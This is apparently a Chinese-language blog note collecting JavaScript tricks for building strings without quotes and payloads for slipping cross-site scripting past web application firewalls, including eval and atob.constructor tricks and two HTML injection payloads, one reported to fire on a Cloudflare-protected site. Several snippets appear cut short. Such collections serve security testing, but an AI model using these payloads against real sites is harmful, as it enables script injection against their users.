①生成字符的方法:
1. 生成/code/字符串
1 | var bs= 'ao0PTA7YWxlcnQoMTMzNykvLwa'; |
2.生成:(?)
1 | yy={...RegExp.prototype.source} |
3.生成/
1 | x=console; |
4.生成[
1 | x=console |
5.字符串大小写转换
1 | x = ["a"] |
②Bypass Waf
常见的一些方式这里就不说了,直接到这里淘便是,这里仅说一下最近看到的。
1.使用展开符和正则绕过单引号
首先将对象展开,然后将对象转为数组,最后用shift方法从数组中获取字符
1 | x={...eval+0,toString:Array.prototype.shift,length:15}, |
2.使用instanceof
1 | window[Symbol.hasInstance]=eval |
3.使用constructor
1 | atob.constructor(atob`YWxlcnQoMSk`)`` |
4.使用新特性
1 | void''??globalThis?.alert?.(...[0b1_0_1_0_0_1_1_1_0_0_1,],) |
受到cloudflare保护的站存在XSS,构造了一个payload可执行弹窗,但是无法顺利执行任意JS:
1 | "><body/onload="throw%20onerror=alert,1,2,3,11;"><a+href=" |
1 | <input//onmouseover= "window['al'+'ert'](1)"> |